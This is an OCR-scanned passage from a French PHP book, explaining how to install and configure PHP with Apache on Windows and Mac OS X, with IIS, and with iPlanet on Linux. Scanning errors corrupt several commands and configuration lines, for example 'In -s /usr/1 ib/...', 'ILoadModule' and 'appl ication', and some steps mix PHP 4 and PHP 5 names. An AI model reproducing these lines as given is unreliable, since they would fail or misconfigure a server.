Figure 2.20 : 

La console de gestion 
du serveur Apache (ici 
e'etait un test avec 
Apache!) 



Vous pouvez lancer un navigateur et le faire pointer sur 1'adresse http://localhost pour verifier si 
la page de test Apache s'affiche bien. 

Une fois toutes ces etapes effectuees, vous pouvez passer a ['installation de PHP. 
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Installer PHP 

Telechargez l'archive zippee disponible sur le site du groupe PHP {PHP Zip package dans la 
partie Windows Binairies de la section Download du site). Une fois que vous avez telecharge le 
fichier compresse, decompactez-le sur votre disque dur dans un dossier specialement cree a cet 
effet. Sans vouloir vous influencer, c:\php serait une bonne idee (evitez tout particulierement 
les noms de dossiers avec des espaces). Dans ce dossier, reperez le fichier php.ini-dist, 
renommez-le en php.ini, et copiez-le dans votre repertoire Windows (c:\Windows ou 
c:\WINNT). Une fois le fichier copie, editez-le avec votre logiciel prefere. 

Recherchez cette ligne : 

; extension_dir = 

et renseignez le champ avec ['emplacement ou se trouvent les extensions PHP. Par exemple : 

extension_dir = c:\PHP\ext\ 

si vous avez installe PHP dans un dossier PHP a la racine de votre disque dur. N'oubliez pas, 
pour cette ligne et pour toutes les autres, de les decommenter lorsque vous aurez rentre les 
parametres necessaires. Pour cela, il vous suffit de supprimer le ";" en debut de ligne. 
Attention, ne decommentez que la ligne contenant des parametres ; laissez les lignes 
d'explication en commentaire. 

Recherchez ensuite la ligne 

doc_root = 

et renseignez le champ avec l'emplacement de la racine de votre serveur web. II s'agit en fait de 
donner le chemin d'acces du dossier c:\Program Files\Apache Group\Apache\htdocs\. 

doc_root = "C:\Program Fi les\Apache Group\Apache\htdocs" 

Une fois que vous en avez termine awecphp.ini, copiez le fichier php5ts.dll qui se trouve a la 
racine de votre repertoire PHP dans le dossier System du repertoire Windows 
{c:\windows\system pour Windows 9x/Me ou c:\winnt\system32 pour Windows NT/2000/XP). 

Configuration 

Vous allez devoir editer le fichier httpd.conf qui configure le serveur web Apache. 
Normalement, un lien a ete prevu pour cela dans le groupe de programmes Apache cree apres 
1'installation du serveur web (Configure Apache server puis Edit the Apache httpd.conf 
configuration file). Si vous ne trouvez pas ce lien, le fichier httpd.conf se trouve dans le dossier 
conf du repertoire Apache. Avant de vous lancer dans la configuration, assurez-vous que votre 
serveur web Apache est bien arrete. Si vous l'avez lance depuis le lien present dans le menu 
Demarrer, fermez simplement la console. 

Dans ce fichier, recherchez la ligne : 

ILoadModule unique_id_module modules/mod_unique_id.so 

Et ajoutez cette ligne juste apres : 

LoadModule php5_module c:/php/php5apache.dll 
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Attention, ne decommentez pas la ligne deja presente dans le fichier de configuration ; elle a 
juste ete utilisee pour permettre une localisation plus aisee. N'oubliez pas de donner votre 
propre chemin vers le fichier php5apache.dll. Si vous utilisez Apache 2 alors le nom du fichier 
devient php5apache2. dll. 

Recherchez ensuite la ligne: 

#AddModule mod_setenvif .c 

A sa suite, ajoutez cette ligne: 

#AddModule mod_php4.c 

Enfin, recherchez la ligne : 

#AddType appl ication/x-tar .tgz 

a la suite de laquelle vous ajoutez cette ligne : 

AddType appl ication/x-httpd-php .php .php5 .php4 

Sauvegardez le fichier httpd.conf 'et relancez votre serveur web a l'aide de la console Apache. 
Vous pouvez tester la bonne prise en compte de PHP en affichant un fichier test en PHP. 



Racine 

Par defaut, la racine de votre serveur web se trouve dans le dossier htdocs du 
repertoire Apache. C'est done la que vous devrez copier vos fichiers .php, .html, etc. 



Complement d'installation 

Ca y est vous avez installe PHP 5 pour Windows. Vous disposez de la majorite des 
bibliotheques. Sachez toutefois, que le PHP Group propose egalement un autre ensemble 
d'extensions (pour la plupart peu utilisees ou rendues obsoletes) dans un paquetage appele 
PECL. Celui-ci est disponible sur le site officiel a l'adresse http://www.php.net/downloads.php 
mais egalement sur le CDROM fourni. 

Pour en profiter, il vous suffit de dezipper son contenu (ou seulement les dll qui vous 
interessent) dans le repertoire contenant les extensions PHP dont le chemin est precise dans le 
fichier php.ini sous le parametre extension_dir. et de les activer en les supprimant les 
commentaires dans ce meme fichier. 



Sous Mac OS X 

Nous pouvons considerer qu'il existe deux grandes methodes pour installer PHP dans un 
environnement Mac OS X. Cela peut ainsi se faire : 

Rien qu'en activant PHP au niveau du serveur preinstalle (si vous disposez de la version 
serveur de Mac Os X) ; 

En faisant une installation "manuelle" (notamment si vous disposez de la version cliente de 
Mac Os X ou pour les mises a jours). 
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Installation par un package 

Des packages d'installation prepares pour Mac sont disponibles pour Apache2 et PHP5. 

Comme pour PHP4, le site web Entropy.ch met a disposition des internautes un package 
d'installation de PHP5. II est bien tenu a jour et suit les remarques des utilisateurs. Vous pouvez 
le telecharger a cette adresse : http://www.entropy.ch/phpbb2/viewtopic. php?t=1446. 

reinstallation d'Apache2 pourra se faire directement grace au package prepare par la Apache 
Software Foundation : http://www.apple.com/downloads/macosx/unix_open_source/apache.html. Vous 
n'aurez plus qu'a lancer une rapide compilation pour ensuite profiter d Apache2. 

Activation de PHP sur Mac Os X 

Avec OS X, les Mac s'ouvrent beaucoup plus facilement au web, que ce soit dans les versions 
serveur ou client. Meme si les Mac ont toujours fait des serveurs web tres securises, du fait, 
entre autres, de l'absence de ligne de commande, la mise sur pied d'un serveur web sur une 
machine de la firme de Cuppertino n'etait pas, contrairement aux habitudes de la maison, un 
modele de simplicite. 

Le dernier systeme d'exploitation d Apple, Mac OS X, repose sur Darwin, un noyau Unix libre. 
Avec 1'arrivee d'une base Unix, les Mac gagnent en simplicite en matiere de web. Alors que les 
utilisateurs de MacOs n'avaient a leur disposition que quelques serveurs web qu'ils devaient 
installer eux-memes, Mac OS X dispose en natif d'un serveur Apache qui n'attend qu'un 
claquement de doigts pour etre operationnel. De meme, PHP ne demande qu'a etre active. On 
ne peut toutefois pas se limiter a ses installations par defaut. La volonte legitime d'avoir une 
installation plus personnalisee (nouveaux modules, optimisation, etc.) passera par une 
installation ex nihilo d'Apache et de PHP, depuis des sources qu'il faudra compiler. Les mises 
a jour d'Apache ou du langage PHP passeront par le suivi des annonces faites par Apple. 

Ainsi, nous verrons, dans un premier temps, l'activation des services et modules deja presents 
a l'installation et, dans un second temps, la compilation et ['installation des programmes depuis 
un code source. 

Activer Apache 

Serveur web le plus puissant ou le plus repandu qui soit, peu importe : quand Apple fait 
quelque chose, il le fait de maniere simple et accessible. Les amoureux de la ligne de commande 
vont en prendre pour leur grade. . . Lancer Apache sur Mac OS X est encore plus simple que de 
terminer Adibou decouvre les animawc en mode facile. Une fois Mac OS X lance, allez dans le 
menu Pomme, puis dans Preferences Systeme, et selectionnez Partage. Dans laboite de dialogue 
qui s'ouvre alors, vous trouverez de nombreuses options relatives a la configuration de votre 
serveur web Apache. En effet, ce qu'Apple appelle Portage web repose, en fait, sur le travail du 
serveur web (voir fig. 2.21). 

Sous le titre Partage web, cliquez simplement sur le bouton Demarrer. Votre mot de passe vous 
sera alors demande ; rentrez-le, puis patientez quelques instants, le temps que le serveur se 
lance. Voila, le tour est joue. Si vous obtenez un message d'erreur, il se peut que vous ne soyez 
pas un utilisateur faisant partie du groupe "admin". 
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Le partage de fichiers est desaaive 



( D ; ■ Cllqua sur Nimrnr pour jcttvti li pwtagi dt rkhtars, C«i pwmM 

jus julres utihsategrs d'acctdH jus dossiers Publics. 



Partage Web desaaive 



' 



l^i > CHquez sur Demarrer pour activer le partage Web et permettre auK 
aulres milisatcurs d'acceder aux pages Web des dossiers Sites. 



Q Activer I'acces FTP 

Permet aux autres utilisateurs d'acceder a voire ordinateur a I'aide d applications FTP. 



Figure 2.21 : La boite de dialogue Partage web sous Mac OSX 




REMARQUE 



Legroupe "admin" 

Par defaut, le premier utilisateur cree fait partie de ce groupe. II faut faire partie de ce 
groupe pour accomplir certaines actions (lancer le partage web par exemple). Pour 
lancer ou arreter le serveur Apache, ilfaudra etre soit le premier utilisateur cree, soit 
un utilisateur qui aura ete place dans le groupe "admin". 



Pour verifier que tout fonctionne bien, vous pouvez lancer votre navigateur web prefere et vous 
rendre a l'adresse http://localhost/. Vous devriez y trouver une page d'accueil par defaut. Vous 
pouvez egalement effectuer cette verification avec votre nom d'utilisateur, en vous rendant sur 
votre espace web personnel qui aura ete cree automatiquement par le serveur. Si vous etes 
l'utilisateur toto, votre espace personnel sera alors accessible a l'adresse http://localhost/toto/. Cela 
n'est pas tres utile pour le moment, mais cela pourra se reveler interessant quand il s'agira de 
faire des tests de scripts. Vous pourrez utiliser votre espace personnel plutot que le site web de 
premier niveau (un site en http://localhost/ — toto plutot que http://localhost/). Les utilisateurs trou- 
veront leur site dans leur repertoire personnel, dans le dossier Sites. Pour publier des documents 
a la racine du site, il faudra placer ces elements dans le dossier "/Library/Webserver/Documents/". 

ActiverPHP 

Le serveur Apache installe sur Mac OS X comporte deja le module PHP. Toutefois, celui-ci 
n'est pas active par defaut. II faut done faire quelques acrobaties accompagnees d'un 
redemarrage du serveur web pour que toutes les modifications soient prises en compte. 



REMARQUE 



Faire fausse root 

En fouillant sur le web, ou en puisant dans ses connaissances d'unixien, on peut etre 
tente d'activer le module PHP en passant par l'utilisateur root Or, ce compte n 'existe 
pas sur Mac OS X. II est bien sur possible de le creer. Toutefois, il est fortement 
recommande de ne pas creer ce compte. D'une part, on respecte ainsi la philosophic 
d'Apple vis-a-vis de son systeme d' exploitation et, d'autre part, Von garantit une 
meilleure securite au systeme root ayant droit de vie et de mort sur le systeme). 
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Pour mener a bien certaines operations, vous devrez utiliser la commande sudo (su pour 
"super-user" et do de "to do"). Cette commande vous permet d'avoir acces a des actions 
normalement reservees a l'utilisateur root. Lorsque vous ferez appel a cette commande pour 
la premiere fois, le systeme vous demandera votre mot de passe. Ensuite, vous pourrez 1'utiliser 
directement. 

L'activation de PHP consiste principalement en une modification du fichier httpd.conf, fichier 
de configuration du serveur web Apache. Avant de faire des modifications sur ce fichier, il est 
fortement recommande d'en faire une copie, afin de garder une porte de sortie en cas de 
E mauvaise manipulation. Rendre ce fichier de configuration inutilisable revient purement et 

simplement a mettre en berne son site web, Apache ne pouvant alors plus demarrer. 

Pour faire cette copie, lancez un terminal (depuis le Finder, dans le dossier Applications, puis le 
dossier Utilitaires, choisissez Terminal). Une fois le terminal lance, saisissez cette ligne de 



ro 



Q_ 



pj commande : 

sudo cp /etc/httpd/httpd.conf /etc/httpd/httpd.conf .copie 

Le systeme vous demande votre mot de passe ; donnez-le lui. Si jamais il vous arrivait malheur 
lors de l'edition du fichier de configuration, vous n'auriez alors qu'a ecraser le fichier de 
configuration par la sauvegarde que vous aviez faite. Pour cela, utilisez cette commande : 

sudo cp /etc/httpd/httpd.conf .copie /etc/httpd/httpd.conf 

Une fois cette operation effectuee, nous pouvons travailler sans danger sur le fichier httpd.conf 
(ou tout au moins sans remords). Nous allons devoir rechercher les references a PHP dans ce 
fichier, pour nous assurer qu'elles sont bien prises en compte par le serveur lors de son 
demarrage. 

Nous utiliserons l'editeur de texte Pico pour travailler sur le fichier. Si c'est la premiere fois que 
vous utilisez cet editeur en mode texte, il peut etre utile d'en consulter l'aide. Cela vous evitera 
des heures d'errance, coince dans un fichier texte qui n'en demandait pas tant. 

Puis, une fois Pico lance, tapez (Ctrl [ + (g) pour acceder a l'aide integree. La plupart des 
commandes s'obtiennent par le biais de la touche [ Ctrl [ suivie d'une lettre. Vous pouvez 
d'ailleurs voir les fonctions les plus utiles en bas de la fenetre de terminal. Une fois que vous 
avez compris les bases de l'utilisation de Pico, vous pouvez lancer l'edition du fichier http.conf: 

sudo pico /etc/httpd/httpd.conf 

N'oubliez pas que vous devez donner votre mot de passe. 

Dans ce fichier, recherchons les references a PHP ( [Ctrl 1 +fw], PHP, [ Entree 1 ). La premiere 
reponse doit etre celle-ci : 

ILoadModule php5_module 1 ibexec/httpd/1 ibphp5.so 

Le # devant la ligne signifie qu'elle est commentee, et que le serveur ne prend pas en compte 
cette ligne de configuration lors de son demarrage. Supprimez le # et refaites une recherche. 
Vous ne devriez pas avoir a ressaisir "php", Pico gardant en memoire la derniere occurrence de 
recherche. Votre nouvelle recherche doit vous amener a cette ligne : 

#AddModule mod_php4.c 

De meme, supprimez le #. Desormais, Apache chargera le module PHP lors de son 
chargement. 
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Continuons la recherche. L'occurrence suivante doit se trouver dans ce paragraphe : 

# AddType allows you to tweak mime. types without actually editing it, or to 

# make certain files to be certain types. 
# 

# For example, the PHP 3.x module (not part of the Apache distribution - see 

# http://www.php.net) will typically use: 
# 

#AddType appl ication/x-httpd-php3 .php3 
#AddType application/x-httpd-php3-source .phps 
# 

# And for PHP 4.x, use: 
# 

#AddType appl ication/x-httpd-php .php 
#AddType appl ication/x-httpd-php-source .phps 

Ce paragraphe stipule que les fichiers delivres par le serveur qui ont pour extension .php3, .php 
ou .phps doivent etre traites avec le module PHP. Supprimez aussi les # devant ces lignes, sinon 
le chargement du module PHP ne servirait pas a grand-chose. Attention, ne decommentez pas 
toutes les lignes, mais seulement les lignes d'instructions, comme ceci : 

# AddType allows you to tweak mime. types without actually editing it, or to 

# make certain files to be certain types. 
# 

# For example, the PHP 3.x module (not part of the Apache distribution - see 

# http://www.php.net) will typically use: 
# 

AddType appl ication/x-httpd-php3 .php3 
AddType application/x-httpd-php3-source .phps 
# 

# And for PHP 4.x, use: 
# 

AddType appl ication/x-httpd-php .php 
AddType application/x-httpd-php-source .phps 

Recherchez maintenant l'occurrence <ifModule mod_dir.o. Vous devez arriver sur un 
paragraphe comme celui-ci : 

<IfModule mod_dir.c> 

Directory Index index.html 
</IfModule> 

Ajoutez "index. php" a la ligne du milieu, en laissant un espace apres "index.html". Cela 
indique au serveur Apache qu'il doit, lorsqu'on lui donne une adresse du type http://toto.com/tili/, 
rechercher un fichier index.html dans le dossier Ititi, mais egalement un fichier index.php. 

Voila, toutes les modifications necessaires ont ete effectuees. Vous pouvez sauvegarder le 
fichier et quitter Pico. II vous faut maintenant redemarrer le serveur Apache, afin qu'il prenne 
en compte les modifications que vous avez effectuees dans le fichier de configuration. Faites-le 
depuis l'interface graphique (Partage web, en arretant puis demarrant le serveur), ou encore 
depuis votre terminal en tapant cette commande : 

sudo apachectl restart 
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Pour verifier que vos modifications ont bien ete integrees, tapez cette commande dans votre shell : 

tail /var/log/httpd/error_log 

Cela aura pour effet d'afficher les traces des messages d'erreur d'Apache. Au debut du fichier, 
vous devez pouvoir trouver cette ligne : 

[notice] Apache/1.3.23 (Darwin) PHP/4.1.2 configured -- resuming normal operations 

Une fois que tout est integre et fonctionnel, profitez de l'occasion pour faire une copie de 
sauvegarde de votre fichier httpd.conf. Cela vous evitera, lors d'une reinstallation, de devoir 
repeter toutes ces manipulations. Toujours dans votre shell, tapez cette commande : 



£ sudo cp /etc/httpd/httpd.conf /etc/httpd/httpd.conf .copie 



CM 



^£. Une version serveur de pointe 

p \^' Sur la version serveur de Mac OS X, le serveur de bases de donnees MySQL fait 
REMARQJE egalement partie de ['installation par defaut. Dans la version client, il faut installer 
soi-meme le serveur. 



Installation manuelle 

Apple fournit des sources pretes a etre compilees qui vous permettront de rester a jour sans 
avoir a reinstaller tout votre systeme. Compiler une nouvelle version dApache ou du langage 
PHP peut etre obligatoire pour des raisons de securite. Ayez en tete que vous devrez alors 
certainement revoir des options de configuration (tout particulierement pour httpd.conf) pour 
vos logiciels nouvellement installes. Faites egalement le tour des modules que vous avez 
installed et des modules qui seront disponibles et compatibles apres la mise a jour. Certains 
portages peuvent prendre quelque temps. Evitez done de faire une mise a jour trop rapide, qui 
vous priverait de modules dont vous avez besoin pour votre site. 

Compiler Apache 

Avant d'aller plus loin, assurez-vous que vous disposez bien des outils de developpement Apple 
sur votre machine. Si vous n'avez pas le CD qui contient ces logiciels, vous pouvez vous inscrire 
gratuitement au Developper Network dApple. Cet enregistrement vous donnera acces a ces 
logiciels, que vous n'aurez plus qu'a telecharger et installer. Nous vous recommandons 
d'ailleurs de faire des mises a jour de ces logiciels. En effet, les versions les plus recentes 
dApache ou de PHP pourraient ne pas se compiler avec des outils trop anciens. Une fois cette 
installation effectuee, lancez un terminal (depuis le Finder, dans le dossier Applications, puis le 
dossier Utilitaires, choisissez Terminal). Saisissez alors les lignes de commande suivantes : 

mkdir install_apache 
cd /install_apache 

Vous creez et entrez dans un repertoire qui vous servira pour cette compilation, 
wget http://www.apache.org/dist/httpd/httpd_XX.tar.gz 

Vous telechargez la derniere version du serveur web Apache directement depuis le site 
dApple. 
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gnutar xzf httpd_XX.tar.gz 

Vous decompressez le fichier contenant les sources. 

cd httpd_XX 

Vous entrez dans le repertoire qui contient les sources. 

./configure --enable-module=most --enable-shared=max 

Vous creez le fichier de configuration qui servira lors de la compilation. 

make 

Vous compilez les sources. 

sudo make install 

Vous installez les executables sur votre systeme. 

N'oubliez pas que c'est votre mot de passe qu'il faut donner au systeme pour qu'il puisse 
executer la commande sudo. Dans httpd_XX. tar. gz, lesZZsont a remplacer par le numero de la 
version d'Apache concernee. N'oubliez pas d'arreter puis de relancer votre serveur Apache, 
comme nous l'avons vu plus haut, afin que ce soit cette nouvelle version qui soit en service. 

CompilerPHP 

Dans un terminal, rentrez les commandes suivantes : 

mkdir install_php 
cd i nstal l_php 

Vous creez et entrez dans un repertoire qui vous servira pour cette compilation. 

wget http://www.php.net/distributions/php-XX.tar.gz 

Vous telechargez la derniere version du langage PHP directement sur le site de PHP. 

gnutar -xzf php-XX.tar.gz 

Vous decompressez le fichier contenant les sources. 

cd php-XX.tar.gz 

Vous entrez dans le repertoire qui contient les sources. 

./configure --with-apxs=/usr/sbin/apxs --disable-pear 



Sans PEAR c'est mieux ? 

Si, comme nous, vous rencontrez des problemes lies a la bibliotheque pear, n'hesitez 
pas a utiliser V option --disable-pear. Vous pouvez toutefois essayer sans, histoire 
de voir si vous etes plus chanceux que nous. . . 




REMARQUE 
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Vous creez le fichier de configuration qui servira lors de la compilation. 

make 

Vous compilez les sources. 

sudo make install 

Vous installez les executables sur votre systeme. 

sudo cp php.ini-dist /usr/local/li b/php. i ni 

Vous copiez le fichier de configuration de PHP dans un repertoire ou Apache saura le trouver. 

N'oubliez pas que c'est votre mot de passe qu'il faut donner au systeme pour qu'il puisse 
executer la commande sudo. 

Dans php-XX. tar. gz, les XX sont a remplacer par le numero de la version du langage PHP 
concernee. 

Assurez-vous enfin que votre fichier httpd.conf est bien configure pour permettre a Apache 
d'utiliser et d'interpreter correctement PHP. 

jfpk Quelques liens 

%$? En franqais 

INTERNET Un tutoriel en franqais tres complet et tres bien fait pour installer Apache! et PHP5 : 
www.phpmac.com/articles.php7view189 

De nombreuses informations pour les developpeurs sous Mac Os X (page PHP) : 
http://projectomega.online.fr/contents/fr/php/index.php 
En anglais 

Installer Apache! et PHP5 sous Mac OS X: 
http://laughingmeme.org/archives/001787.html 

PHP sur Mac OsX, chez Apple (conseils pour la compilation, modules compatibles, 
etc.) : 

http://developer.apple.com/internet/Mac_OS_X/php.html 
Apache et PHP sous Mac Os Xpar I'un des createurs de Darwin : 
http://www.stepwise.com/Articles/Workbench/2001- 10- 1 1.01.html 
Apache et PHP sous Mac Os X, par Marc Liyanage : 
http://www.entropy.ch/software/macosx/php/ 



Avec IIS 

Installer IIS 

L'installation du serveur web IIS est plutot simple. Inserez le CD-ROM d'installation de 
Windows NT, 2000 ou XP Pro dans le lecteur de votre machine. Allez dans le menu Demarrer 
puis dans Parametres et Panneau de configuration. Lancez Ajout/Suppression de programmes. 
Cliquez sur l'onglet Ajouter/Supprimer des composants Windows, puis cochez la case Services 
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Internet (IIS), validez par OK. Vous pouvez tester la bonne installation d'HS en ouvrant un 
navigateur a cette adresse : http://localhost/. 

Installer PHP 

Vous devrez done utiliser l'archive zippee disponible sur le site du groupe PHP (PHP Zip 
package dans la section Windows Binairies de la section Download du site), ou celle fournie sur 
le CD-ROM. Une fois que vous avez telecharge le fichier compresse, decompactez-le sur votre 
disque dur, dans un dossier specialement cree a cet effet. Sans vouloir vous influencer, c:\php 
serait une bonne idee (evitez tout particulierement les noms de dossiers avec des espaces). 
Dans ce dossier, reperez le fichier php.ini-dist, renommez-le enphp.ini , et copiez-le dans votre 
repertoire Windows (c:\Windows ou c:\WINNT). Une fois le fichier copie, editez-le avec votre 
logiciel prefere. 

Recherchez cette ligne : 

; extension_dir= 

et renseignez le champ avec l'emplacement ou se trouvent les extensions PHP. Par exemple : 

extension_dir=c:\PHP\extensions\ 

si vous avez installe PHP dans un dossier PHP a la racine de votre disque dur. N'oubliez pas, 
pour cette ligne et pour toutes les autres, de les decommenter lorsque vous aurez rentre les 
parametres necessaires. Pour cela, il vous suffit de supprimer le ";" en debut de ligne. 
Attention, ne decommentez que la ligne contenant des parametres ; laissez les lignes 
d'explication en commentaire. 

Recherchez maintenant la ligne : 

; browscap=extra/browscap . i ni 

et donnez l'adresse de votre fichier browscap.ini. Sous Windows 9x ou Me, vous le trouverez la : 
c:\windows\systeni\inetsrv\browscap.ini et, sous Windows NT, 2000 ou XP Server, il est situe au 
bout de ce chemin : c:\winnt\system32\inetsrv\browscap.ini. (Cette operation est plus que 
facultative). 

Si vous voulez installer d'autres extensions, il vous suffit de disposer des DLL requises par 
celles-ci, et de decommenter les lignes les concernant dans le fichier de configuration. Une 
procedure complete est presentee dans le fichier install.txt fourni avec l'archive PHP. Cette 
procedure est egalement decrite pour chaque bibliotheque presentee dans ce livre. 

Une fois que vous en avez fini avec le fichier php. ini, et qu'il est bien place a la racine de votre 
dossier Windows, passez a la configuration du serveur lui-meme. 

II vous faut travailler dans la console d'administration du serveur IIS. Pour cela, allez dans le 
Panneau de configuration, puis dans Outils d'administration. La, double-cliquez sur 
Gestionnaire des services Internet. Dans la fenetre qui s'ouvre, faites un clic droit sur le serveur 
web que vous voulez configurer, et choisissez Proprietes. (Attention, deroulez bien 
l'arborescence pour arriver au site web. Ne travaillez pas sur la machine locale.) 
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Configuration de PHP 
pour IIS 



Cliquez sur l'onglet Repertoire de base, puis sur le bouton Configuration. Dans la nouvelle 
fenetre, cliquez sur Ajouter. Dans la nouvelle fenetre (Ajout/modification de mappage 
d'extension de fichier), cliquez sur Parcourir, et donnez le chemin vers php4isapi.dll 
(normalement dans le dossier sapi de votre repertoire PHP). Dans le champ extension, donnez 
php. Verifiez que la case Moteur de script est bien cochee, puis cliquez sur OK pour revenir a la 
console d'administration. Depuis cette meme console, arretez et relancer votre serveur. Vous 
pouvez desormais tester la bonne gestion de PHP. Vous devrez recommencer l'operation pour 
toutes les extensions que le serveur doit interpreter comme de PHP {.php3, .phtml, etc.). 



Avec iPlanet 



Sous Linux 
Installer iPlanet 

iPlanet s'installe vite et bien. En plus d'etre gratuit, il dispose d'une interface web de 
configuration tres puissante, qui pourra aider les plus novices et qui, pour tous, facilite nombre 
de taches. Dans bien des situations, cela evite d'avoir a passer par les fichiers de configuration. 
Nous presentons ici une installation pour GNU/Linux sur une distribution RedHat. Pour une 
installation sur un autre systeme de type UNIX, reportez-vous aux liens presentes en fin de 
partie. 

Pour installer iPlanet, a moins que vous ne disposiez de votre propre copie, telechargez-en une 
version sur le site de Sun (wwws.sun.com/software/download/download/5126.html). Le serveur est dis- 
tribute sans contrepartie ; il vous suffit de laisser quelques informations a Sun. Pendant que le 
telechargement suit son cours, vous allez pouvoir faire quelques petites manipulations prepa- 
ratoires. La version de iPlanet distribute par Sun pour Linux a ete preparee pour une Red- 
Hat 6.0. Les autres distributions (hors Mandrake) auront certainement quelques difficultes a 
s'adapter. Les versions posterieures a la 6.0 posent d'ailleurs un probleme assez genant, 
puisqu'elles interrompent carrement le script d'installation du serveur. En fait, iPlanet demande 
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la librairie ncurses dans sa quatrieme version, alors qu'aujourd'hui, c'est la version 5.2 qui est 
fournie avec les systemes RedHat. II est possible de tricher en faisant un lien symbolique de la 
version installee vers une pretendue version 4 ; version qui donnera alors entiere satisfaction au 
script d'installation. Pour cela, en etant logue en tant que root, rentrez la commande suivante : 

In -s /usr/1 ib/libncurses.so.5.2 /usr/1 ib/1 ibncurses.so.4 

Pour verifier quelle est la version de ncurses installee sur votre systeme, tapez la commande : 

locate ncurses 

Notez alors le chemin qui s'affiche, et utilisez-le dans la commande donnee plus haut. 

Cette manoeuvre ne met absolument pas en peril le systeme d'exploitation, pas plus qu'elle ne 
compromet le bon fonctionnement du serveur. La librairie concernee n'est en effet utilisee que 
lors de la creation de l'interface d'administration. Lors de nos tests, cette procedure a 
parfaitement fonctionne, n'entrainant aucun dysfonctionnement du serveur, du systeme Linux, 
ni de l'interface graphique elle-meme. Une fois le lien cree et le telechargement termine, vous 
pouvez passer a ['installation du serveur. 

Avant de vous lancer dans la procedure d'installation, assurez-vous que vous disposez bien de 
tous les outils logiciels necessaires : compilateur, gestionnaire de fichiers compresses, etc. Les 
utilisateurs de Sun trouveront tout le necessaire sur le site http://www.sunfreeware.com. 

Rendez-vous dans le dossier contenant l'archive iPlanet et decompactez-la. Entrez dans le 
dossier iws qui vient alors d'etre cree. En tant qu'utilisateur root (commande su pour passer en 
root), lancez le script d'installation ( . /setup). Renseignez ensuite tous les champs demandes 
et repondez aux questions qui restent assez classiques (dossier racine du site, creation d'un 
utilisateur et d'un groupe pour le serveur, etc.). Vous pouvez d'ailleurs choisir entre une 
configuration express ou une configuration avancee. A vous de voir ce qui convient le mieux a 
1'installation que vous etes en train d'effectuer. Si vous ne destinez pas le serveur a une mise en 
exploitation, autant aller au plus vite. Retenez bien l'identifiant {login) et le mot de passe qui 
vous sont demandes pour Faeces a l'interface de gestion. 

Une fois iPlanet installe, passons a la compilation de PHP. 

Compiler PHP 

Tout d'abord, telechargez la derniere version de PHP sur le site officiel (http://www.php.net), ou 
bien utilisez celle fournie sur le CD-ROM. Passez en utilisateur root, et verifiez que les 
parametres suivants sont bien situes dans votre path (commande echo $path). Si elle n'y sont 
pas, ajoutez-les : 

: /usr/1 ocal/bin:/usr/sbin:/usr/bin:/usr/ccs/bin 

Decompactez l'archive : 

# tar xzvf php-XX.tar.gz 

Rentrez dans le repertoire cree lors du decompactage, puis rentrez cette commande : 

# ./configure --wi th-nsapi=/opt/netscape/suitespot/ --enable-1 ibgee 

Le chemin suivant le parametre — with-nsapi varie selon votre installation. A vous de donner 
le bon chemin. Sous Linux, ce doit etre quelque chose comme : /usr/iplanet/servers/. 
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Si le serveur de base de donnees MySQL est installe sur votre machine, vous pouvez egalement 
donner ce parametre comme option de configuration — with-mysql=/usr/lib/mysql. 

Une fois la configuration effectuee, rentrez alors la commande : 

# make 

puis, finalement : 

# make install 

PHP est maintenant installe sur votre systeme. Vous pouvez passer a la configuration du 
serveur web. 

Configuration d'iPlanet 

La configuration du serveur iPlanet se resume a l'edition de quelques fichiers de configuration 
ponctuee d'un redemarrage dudit serveur. Rendez-vous dans le repertoire contenant les 
fichiers de configuration de votre serveur (quelque chose comme /usr/iplanet/servers/ 
https-localhost.localdomainlconfigl). Faites attention, ne vous trompez pas entre le dossier 
https-loalhost.localdomain et le dossier https-admserv . Le premier est le bon ; c'est celui qui 
contient les informations et documents relatifs a votre serveur web public. Le second ne 
concerne que le serveur utilise par l'interface web de configuration, Sun ayant offert a 
l'interface web son propre serveur (ce qui est plutot une bonne idee quand on sait ce que peut 
engendrer une mauvaise manipulation des fichiers de configuration). N'ayez d'ailleurs pas peur 
lors de vos exercices de configuration : il existe deja sur votre machine un repertoire de 
sauvegarde qui contient une copie des fichiers de configuration du serveur web. Situe au meme 
niveau que le dossier config, le dossier config-bk pourra vous sortir de l'orniere en cas de pepin. 
II vous suffira de copier tout simplement son contenu dans le repertoire config. 

Commencez d'abord par editer le fichier mime. types pour y ajouter la ligne suivante : 

type=magnus-internal/x-httpd-php exts=php,php3,php4,php5,phtml 

Sauvegardez mime.types, puis passez a magnus.conf. Ajoutez les lignes suivantes a la fin de la 
section des inits, en debut de fichier : 

Init fn=" load-modules" 

funcs="php5_init,php5_close,php5_execute,php5_auth_trans" 

shlib="/php5/nsapi PHP5.dll" 

Init fn="php5_i nit" errorString="L' initialisation du PHP a echoue !" 

x Latelnit="yes" 

Le chemin utilise pour shlib varie en fonction du systeme d'exploitation. Pour Linux, ce sera 
quelque chose comme /opt/netscape/suitespot/bin/libphp5.so ou /usr/iplanet/servers/bin/libphp5 
.so. Donnez simplement le chemin qui pointe vers la librairie php 5, precedemment installee 
lors de la compilation. Une fois magnus.conf complete, sauvegardez-le, puis ouvrez obj.conf. En 
suivant le modele et l'aspect general du fichier, ajoutez-y le bloc de texte suivant (un nouvel 
objet) : 

</0bject> 

<0bject name="x-httpd-php"> 

ObjectType fn=" force- type" type="magnus-internal/x-httpd-php" 

Service fn=php5_execute 
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</0bject> 

Ensuite, dans l'objet default, vous devrez ajouter la ligne suivante : 

Service fn="php5_execute" type="magnus-internal/x-httpd-php" 

et ce avant chaque ligne AddLog et apres chaque ligne Ob j ectType. Void un exemple, pris pour 
une configuration sous Linux : 

<0bject name=default> 

NameTrans fn="NSServletNameTrans" name="servlet" 

NameTrans fn="pfx2dir" from="/servlet" 

di r="/usr/i pi anet/servers/docs/servl et" name="Servl etByExt " 

NameTrans fn=pfx2dir from=/mc- icons dir="/usr/iplanet/servers/ns-icons" 

name="es-internal " 

NameTrans fn="pfx2dir" from="/manual " 

dir="/usr/iplanet/servers/manual/https" name="es-internal " 

NameTrans fn=document-root root="$docroot" 

PathCheck fn=unix-uri-clean 

PathCheck fn="check-acl " acl="default" 

PathCheck fn=find-pathinfo 

PathCheck fn=find-index index-names="index. html , home. html " 

ObjectType fn=type-by-extension 

Service fn="php5_execute" type="magnus-internal/x-httpd-php" 

ObjectType fn=force-type type=text/plain 

Service fn="php5_execute" type="magnus-internal/x-httpd-php" 

Service type="magnus-internal/jsp" fn="NSServletService" 

Service method= (GET | HEAD) type=magnus-internal /imagemap fn=imagemap 

Service method= (GET j HEAD) type=magnus-internal /directory fn=index-common 

Service method= (GET j HEAD | POST) type=*-magnus-internal/* fn=send-file 

